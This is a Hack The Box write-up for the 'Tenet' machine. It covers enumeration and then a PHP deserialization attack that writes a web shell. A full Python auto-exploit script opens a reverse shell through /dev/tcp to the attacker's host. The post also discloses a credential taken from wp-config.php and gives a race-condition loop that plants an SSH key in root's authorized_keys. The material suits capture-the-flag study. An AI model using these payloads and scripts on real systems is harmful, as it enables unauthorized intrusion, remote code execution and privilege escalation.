Tenet was a Linux Medium Box from Hack The Box. The exploration is trough php serialization. We found a php backup file on the server and see that is serializing data, then we create a exploit to explore it and get a reverse shell as www-data.
The neil’s shell we got trough a php file with credentials.
The root is with a script which is running in sudo -l, we explore a race condition to add the root’s ssh key on the authorized_keys.
The script to auto exploit it is on the post.
Hope you enjoy!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(tenet.htb)
B --> |/etc/hosts| C[www.tenet.htb]
B --> |wfuzz Host| C
C --> |sator.php.bak| D[Unserialize]
D --> |Python Script Auto Exploit| E[www-data shell]
E --> |wp-config.php| F[neil shell]
F --> |sudo -l| G[root SSH Key Added]
G --> H[Root Shell]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.223
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We open it on the browser and see what is being shown.
When tryied to access 10.10.10.223 on the browser.
We do a gobuster in it
1
gobuster dir -u http://10.10.10.223 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 30
We found just wordpress
folder, but it leds to nothings
Vhost Fuzzing
So, let’s do a VHOST Fuzzing on this webapp
First, add the tenet.htb on /etc/hosts
. I did that because it’s normal on htb web apps this kind of stuff.
Now, with wfuzz
we perfrom the attack
1
wfuzz -c -H "Host: FUZZ.tenet.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.10.223 --hh 10918
www is valid! We add it to /etc/hosts
www.tenet.htb
Opening it on the browser we get a web page
We tried to gobuster, wpscan and wfuzz and nothins useful.
Started looking at the pages, and found one interesting
http://tenet.htb/index.php/2020/12/16/logs/
On Migration tab
Seems that we have a sator.php
file.
So, let’s hunt for it.
And we found it
http://10.10.10.223/sator.php.bak
Open it
I have no idea what this script possible do, but what caught my eyes was the line 24.
1
$databaseupdate = unserialize($input);
The use of unserialize
function.
PHP Serialization - www-data shell
Once we got a point which seems to be serializing data, let’s search to understand how it works.
IppSec has this awesome video which explains in details how serialization in php works.
Serialization is the act of taking an object from memory in some language and converting it to a format that can be saved as a file. Deserialization is the reverse, taking that string or binary and converting it back into an object within the context of a running program.
Exploitation Overview
After had watched the video above and understand a little how it works. Let’s start crafting our payload to send to the tenet server.
We see that it’s receiving the data trough GET param
1
2
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
We get a great Post which explains how we must build our payload.
On the sator.php we have a class called DatabaseExport which implements a __destruct function. This is the function where we’ll get RCE. This function is using a file_put_contents to write the variable to the users.txt, with we go to 10.10.10.223/users.txt
we see that it exists.
1 - Let’s create a php file on our box with a DatabaseExport function, which defines a user_file to be an malicious php file.
2 - We serialize it to send to our tenet box.
3 - We send it to the server as GET param.
4 - The __destruct function will write it to the server with the name we choosen. And then we can execute it and get a reverse shell on the box.
exploit.php
1
2
3
4
5
6
7
<?php
class DatabaseExport {
public $user_file = '0x4rt3mis.php';
public $data = '<?php system($_REQUEST["cmd"]); ?>';
}
print serialize(new DatabaseExport);
?>
So O:14:"DatabaseExport":2:{s:9:"user_file";s:13:"0x4rt3mis.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
this is what we need to send to the server to write the file in it. It’ll unserialize it and we are golden!
We’ll send over the burp to see how it’s being passed better
1
curl -G http://10.10.10.223/sator.php --data-urlencode 'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:13:"0x4rt3mis.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}' --proxy 127.0.0.1:8080
We send it
On burp
Seems ok. Now let’s see if it was written on the server by the __destruct function
Yes, we got it. And now, the reverse shell
Now, let’s start building our python script to automate it
php_serialize.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto PHP Serialization Exploit Reverse Shell - Tenet HackTheBox
# Date: 15/09/21
import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Set the handler up
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Sending the malicious function to the server
'''
Script in php which generated the malicious serialized object
<?php
class DatabaseExport {
public $user_file = '0x4rt3mis.php';
public $data = '<?php system($_REQUEST["cmd"]); ?>';
}
print serialize(new DatabaseExport);
?>
Which generated - O:14:"DatabaseExport":2:{s:9:"user_file";s:13:"0x4rt3mis.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
'''
def sendMalicious(rhost):
print("[+] Let's send the malicious serialized object !!!! [+]")
url = "http://" + rhost + ":80/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A13%3A%220x4rt3mis.php%22%3Bs%3A4%3A%22data%22%3Bs%3A34%3A%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D"
r.get(url, proxies=proxies)
print("[+] Object written to %s/0x4rt3mis.php !!!! [+]" %rhost)
# Now, let's get the reverse shell easily
def getReverse(rhost, lhost, lport):
print("[+] Let's get the reverse shell !!!! [+]")
url = "http://%s:80/0x4rt3mis.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"cmd": "/bin/bash -c 'bash -i > /dev/tcp/%s/%s 0>&1'" %(lhost,lport)}
r.post(url, headers=headers, data=data, proxies=proxies)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.ipaddress
lport = args.port
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Send the malicious
sendMalicious(rhost)
# Get the reverse shell
getReverse(rhost, lhost, lport)
if __name__ == '__main__':
main()
Great. Let’s continue.
www-data -> Neil
The first user we get is the neil.
On the wordpress folder we found a wp-config.php
file, which has credentials.
neil:Opera2112
We su in this user
Now, let’s become root.
Neil –> Root
We run sudo -l
and see that neil can run the script /usr/local/bin/enableSSH.sh
as root
enableSSH Analysis
So, let’s see what we can explore on this script
We open it after download in our Kali box
The script adds a hardcoded public RSA key to the root authorized_keys file. There are three functions in the script, addKey , checkFile and checkAdded.
1 - The script will create a ssh-file in temp directory.
2 - checkFile will check the existance of the file.
3 - checkFile will add the hardcoded ssh public key to root’s authorized_key file.
Lets create a script for checking the existance of ssh file using loop and add our public key to the file
We can abuse this script by executing an attack on the temp file. Looking at the file and then change it’s contents to our SSH public key, so that local root key is written into /root/.ssh/authorized_keys.
I want a loop that will run constantly, looking for files starting with ssh- in /tmp, and replacing their contents with my public key.
1
while true; do for xx in /tmp/ssh-*; do echo "ssh-rsa AAAAB3NzaC1y..." > $xx; done; done
We execute it, and the error message shows that we got it. Because it’s a race condition.
And we can login ssh with root
We finished it. The code analysis we already did to get the PHP Serialize working.